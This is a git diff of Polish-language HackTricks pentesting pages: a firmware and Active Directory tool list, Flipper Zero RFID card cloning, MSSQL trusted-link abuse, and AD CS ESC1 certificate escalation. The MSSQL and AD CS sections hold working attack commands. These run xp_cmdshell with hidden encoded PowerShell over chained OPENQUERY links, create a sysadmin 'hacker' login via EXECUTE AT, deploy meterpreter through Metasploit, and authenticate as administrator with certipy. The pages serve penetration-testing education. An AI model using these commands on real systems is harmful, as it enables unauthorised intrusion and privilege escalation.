* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Arkusz oszustw dotyczący Active Directory
|
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Arkusz oszustw dotyczący Active Directory
|
||||||
|
|
||||||
# Firmware
|
# Firmware
|
||||||
|
|
||||||
Narzędzia, które mogą być fajne do analizy oprogramowania sprzętowego (automatyczne):
|
Tools, które mogą być fajne do analizy firmware (automatyczne):
|
||||||
|
|
||||||
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
|
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
|
||||||
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
|
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
|
||||||
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
|
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
|
||||||
|
|
||||||
Po-krema:
|
Post-crema:
|
||||||
|
|
||||||
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
||||||
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
||||||
|
|
||||||
Jak wydobyć oprogramowanie sprzętowe, jeśli nie można go znaleźć online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
Jak wydobyć firmware, jeśli nie można go znaleźć online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||||
|
|
||||||
Tutaj oprogramowanie sprzętowe z podatnościami do analizy: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
Oto firmware z podatnościami do analizy: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||||
|
|
||||||
a także metodologia owasp do analizy oprogramowania sprzętowego: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
a tutaj metodologia OWASP do analizy firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||||
|
|
||||||
Emulacja oprogramowania sprzętowego: FIRMADYNE (https://github.com/firmadyne/firmadyne/) to platforma do automatyzacji emulacji i dynamicznej analizy oprogramowania opartego na jądrze Linux.
|
Emulacja firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) to platforma do automatyzacji emulacji i dynamicznej analizy firmware opartego na Linuxie.
|
||||||
|
|
||||||
# INNE
|
# INNE
|
||||||
|
|
||||||
|
@ -131,7 +131,7 @@ Emulacja oprogramowania sprzętowego: FIRMADYNE (https://github.com/firmadyne/fi
|
||||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Ta lista ma na celu pokrycie tematów związanych z bezpieczeństwem Electron.js.
|
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Ta lista ma na celu pokrycie tematów związanych z bezpieczeństwem Electron.js.
|
||||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Informacje o programach BB
|
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Informacje o programach BB
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -141,7 +141,7 @@ Emulacja oprogramowania sprzętowego: FIRMADYNE (https://github.com/firmadyne/fi
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -45,12 +45,12 @@ Możesz stworzyć **fałszywe karty w Flipper Zero, wskazując dane** ręcznie,
|
||||||
|
|
||||||
#### ID na kartach
|
#### ID na kartach
|
||||||
|
|
||||||
Czasami, gdy dostajesz kartę, znajdziesz ID (lub jego część) napisane na karcie.
|
Czasami, gdy dostaniesz kartę, znajdziesz ID (lub jego część) napisane na karcie.
|
||||||
|
|
||||||
* **EM Marin**
|
* **EM Marin**
|
||||||
|
|
||||||
Na przykład w tej karcie EM-Marin na fizycznej karcie można **odczytać ostatnie 3 z 5 bajtów w czytelny sposób**.\
|
Na przykład w tej karcie EM-Marin na fizycznej karcie można **odczytać ostatnie 3 z 5 bajtów w czytelny sposób**.\
|
||||||
Pozostałe 2 można złamać siłowo, jeśli nie można ich odczytać z karty.
|
Pozostałe 2 można złamać metodą brute force, jeśli nie można ich odczytać z karty.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -68,7 +68,7 @@ Po **skopiowaniu** karty lub **ręcznym wprowadzeniu** ID można ją **emulować
|
||||||
|
|
||||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Nadużycie MSSQL w AD
|
# Nadużycie MSSQL AD
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -7,16 +7,15 @@
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## **Eksploracja / Odkrywanie MSSQL**
|
## **Eksploracja / Odkrywanie MSSQL**
|
||||||
|
|
||||||
Moduł powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) jest bardzo przydatny w tym przypadku.
|
Moduł powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) jest bardzo przydatny w tym przypadku.
|
||||||
|
@ -79,9 +78,17 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
||||||
```
|
```
|
||||||
### Podstawowe sztuczki hakowania MSSQL
|
### Podstawowe sztuczki hakowania MSSQL
|
||||||
|
|
||||||
|
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||||
|
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Zaufane łącza MSSQL
|
||||||
|
|
||||||
Jeśli instancja MSSQL jest zaufana (łącze bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łańcuchowane, a w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.
|
Jeśli instancja MSSQL jest zaufana (łącze bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łańcuchowane, a w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.
|
||||||
|
|
||||||
**Połączenia między bazami danych działają nawet w przypadku zaufań lasów.**
|
**Łącza między bazami danych działają nawet w przypadku zaufań między lasami.**
|
||||||
|
|
||||||
|
### Nadużycie Powershell
|
||||||
```powershell
|
```powershell
|
||||||
#Look for MSSQL links of an accessible instance
|
#Look for MSSQL links of an accessible instance
|
||||||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||||||
|
@ -121,17 +128,15 @@ Możesz łatwo sprawdzić zaufane linki za pomocą metasploita.
|
||||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||||
```
|
```
|
||||||
Zauważ, że metasploit będzie próbował nadużyć tylko funkcji `openquery()` w MSSQL (więc jeśli nie możesz wykonać polecenia za pomocą `openquery()`, będziesz musiał spróbować metody `EXECUTE` **ręcznie** aby wykonać polecenia, zobacz więcej poniżej.)
|
|
||||||
|
|
||||||
### Ręcznie - Openquery()
|
### Ręcznie - Openquery()
|
||||||
|
|
||||||
Z **Linuxa** możesz uzyskać konsolę MSSQL za pomocą **sqsh** i **mssqlclient.py.**
|
Z systemu **Linux** możesz uzyskać konsolę powłoki MSSQL za pomocą **sqsh** i **mssqlclient.py.**
|
||||||
|
|
||||||
Z **Windows** możesz również znaleźć linki i wykonywać polecenia ręcznie za pomocą **klienta MSSQL, takiego jak** [**HeidiSQL**](https://www.heidisql.com)
|
Z systemu **Windows** możesz również znaleźć linki i wykonywać polecenia ręcznie, korzystając z klienta MSSQL, takiego jak [**HeidiSQL**](https://www.heidisql.com)
|
||||||
|
|
||||||
_Zaloguj się za pomocą uwierzytelnienia systemu Windows:_
|
_Zaloguj się, korzystając z uwierzytelniania systemu Windows:_
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (805).png>)
|
![](<../../.gitbook/assets/image (805).png>)
|
||||||
|
|
||||||
#### Znajdź godne zaufania linki
|
#### Znajdź godne zaufania linki
|
||||||
```sql
|
```sql
|
||||||
|
@ -140,19 +145,19 @@ EXEC sp_linkedservers;
|
||||||
```
|
```
|
||||||
![](<../../.gitbook/assets/image (713).png>)
|
![](<../../.gitbook/assets/image (713).png>)
|
||||||
|
|
||||||
#### Wykonaj zapytania w zaufanym łączu
|
#### Wykonaj zapytania w zaufanym linku
|
||||||
|
|
||||||
Wykonaj zapytania poprzez łącze (przykład: znajdź więcej łączy w nowej dostępnej instancji):
|
Wykonaj zapytania poprzez link (przykład: znajdź więcej linków w nowej dostępnej instancji):
|
||||||
```sql
|
```sql
|
||||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Sprawdź, gdzie są używane cudzysłowy podwójne i pojedyncze, ważne jest, aby używać ich w ten sposób.
|
Sprawdź, gdzie używane są cudzysłowy podwójne i pojedyncze, ważne jest, aby używać ich w ten sposób.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (640).png>)
|
![](<../../.gitbook/assets/image (640).png>)
|
||||||
|
|
||||||
Możesz kontynuować tę łańcuchową listę zaufanych linków w nieskończoność ręcznie.
|
Możesz kontynuować tę zaufaną łańcuchową linków w nieskończoność ręcznie.
|
||||||
```sql
|
```sql
|
||||||
# First level RCE
|
# First level RCE
|
||||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||||
|
@ -162,7 +167,7 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
|
||||||
```
|
```
|
||||||
### Instrukcja - EXECUTE
|
### Instrukcja - EXECUTE
|
||||||
|
|
||||||
Możesz także nadużyć zaufanych łączy za pomocą metody `EXECUTE`:
|
Możesz także nadużywać zaufanych łączy za pomocą metody `EXECUTE`:
|
||||||
```bash
|
```bash
|
||||||
#Create user and give admin privileges
|
#Create user and give admin privileges
|
||||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||||
|
@ -170,13 +175,13 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||||
```
|
```
|
||||||
## Eskalacja uprawnień lokalnych
|
## Eskalacja uprawnień lokalnych
|
||||||
|
|
||||||
**Lokalny użytkownik MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia o nazwie **`SeImpersonatePrivilege`**. Pozwala to na "podszycie się pod klienta po uwierzytelnieniu".
|
Użytkownik lokalny **MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia o nazwie **`SeImpersonatePrivilege`**. Pozwala to na "podszycie się pod klienta po uwierzytelnieniu".
|
||||||
|
|
||||||
Strategią, którą wielu autorów wymyśliło, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej usłudze stworzonej przez atakującego. Ta fałszywa usługa jest w stanie podszycić się pod usługę SYSTEM podczas próby uwierzytelnienia.
|
Strategią, którą wielu autorów wymyśliło, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej usłudze lub usłudze typu man-in-the-middle, którą tworzy atakujący. Ta fałszywa usługa jest w stanie podszycić się pod usługę SYSTEM podczas próby uwierzytelnienia.
|
||||||
|
|
||||||
[SweetPotato](https://github.com/CCob/SweetPotato) zawiera zbiór różnych technik, które można wykonać za pomocą polecenia `execute-assembly` w Beacon.
|
[SweetPotato](https://github.com/CCob/SweetPotato) zawiera zbiór różnych technik, które można wykonać za pomocą polecenia `execute-assembly` w Beacon.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -184,7 +189,7 @@ Strategią, którą wielu autorów wymyśliło, jest zmuszenie usługi SYSTEM do
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Eskalacja domeny AD CS
|
# AD CS Eskalacja domeny
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
### Błędnie skonfigurowane szablony certyfikatów - ESC1 Wyjaśnione
|
### Wyjaśnienie błędnie skonfigurowanych szablonów certyfikatów - ESC1
|
||||||
|
|
||||||
* **Prawa do zapisu są przyznawane nisko uprzywilejowanym użytkownikom przez Enterprise CA.**
|
* **Prawa do zapisu są przyznawane nisko uprzywilejowanym użytkownikom przez Enterprise CA.**
|
||||||
* **Zgoda menedżera nie jest wymagana.**
|
* **Zgoda menedżera nie jest wymagana.**
|
||||||
|
@ -37,7 +37,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* **Szablony certyfikatów są skonfigurowane tak, aby definiować EKU ułatwiające uwierzytelnianie:**
|
* **Szablony certyfikatów są skonfigurowane tak, aby definiować EKU ułatwiające uwierzytelnianie:**
|
||||||
* Identyfikatory Extended Key Usage (EKU) takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) lub brak EKU (SubCA) są uwzględnione.
|
* Identyfikatory Extended Key Usage (EKU) takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) lub brak EKU (SubCA) są uwzględnione.
|
||||||
* **Możliwość dołączenia subjectAltName w żądaniu podpisania certyfikatu (CSR) jest dozwolona przez szablon:**
|
* **Możliwość dołączenia subjectAltName w żądaniu podpisania certyfikatu (CSR) jest dozwolona przez szablon:**
|
||||||
* Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR, certyfikat można żądać w celu podszywania się za dowolnego użytkownika (np. administratora domeny). Czy żądający może określić SAN jest wskazane w obiekcie AD szablonu certyfikatu za pomocą właściwości `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala na określenie SAN przez żądającego.
|
* Katalog Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR, certyfikat można zażądać w celu podszywania się pod dowolnego użytkownika (np. administratora domeny). Czy żądający może określić SAN jest wskazane w obiekcie AD szablonu certyfikatu za pomocą właściwości `mspki-certificate-name-flag`. Ta właściwość jest bitem maski, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala na określenie SAN przez żądającego.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Konfiguracja ta pozwala nisko uprzywilejowanym użytkownikom żądać certyfikatów z dowolnym SAN wyborem, umożliwiając uwierzytelnianie jako dowolny podmiot domeny za pośrednictwem Kerberos lub SChannel.
|
Konfiguracja ta pozwala nisko uprzywilejowanym użytkownikom żądać certyfikatów z dowolnym SAN wyborem, umożliwiając uwierzytelnianie jako dowolny podmiot domeny za pośrednictwem Kerberos lub SChannel.
|
||||||
|
@ -45,7 +45,7 @@ Konfiguracja ta pozwala nisko uprzywilejowanym użytkownikom żądać certyfikat
|
||||||
|
|
||||||
Ta funkcja jest czasami włączana w celu wsparcia generowania certyfikatów HTTPS lub hosta na żywo przez produkty lub usługi wdrożeniowe, lub z powodu braku zrozumienia.
|
Ta funkcja jest czasami włączana w celu wsparcia generowania certyfikatów HTTPS lub hosta na żywo przez produkty lub usługi wdrożeniowe, lub z powodu braku zrozumienia.
|
||||||
|
|
||||||
Zauważono, że utworzenie certyfikatu z tą opcją powoduje ostrzeżenie, czego nie ma w przypadku duplikowania istniejącego szablonu certyfikatu (takiego jak szablon `WebServer`, który ma włączoną `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) i następnie zmodyfikowania go w celu uwzględnienia OID uwierzytelniania.
|
Zauważono, że utworzenie certyfikatu z tą opcją powoduje ostrzeżenie, czego nie ma w przypadku duplikowania istniejącego szablonu certyfikatu (takiego jak szablon `WebServer`, który ma włączone `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) i następnie zmodyfikowania go w celu uwzględnienia OID uwierzytelniania.
|
||||||
|
|
||||||
### Nadużycie
|
### Nadużycie
|
||||||
|
|
||||||
|
@ -66,7 +66,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
|
||||||
```
|
```
|
||||||
Windows binaries "Certreq.exe" & "Certutil.exe" można użyć do wygenerowania pliku PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
Windows binaries "Certreq.exe" & "Certutil.exe" można użyć do wygenerowania pliku PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||||
|
|
||||||
Wyliczenie szablonów certyfikatów w schemacie konfiguracji AD Forest, w szczególności tych nie wymagających zatwierdzenia ani podpisów, posiadających uwierzytelnienie klienta lub EKU logowania kartą inteligentną, oraz z włączoną flagą `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, można przeprowadzić, uruchamiając następujące zapytanie LDAP:
|
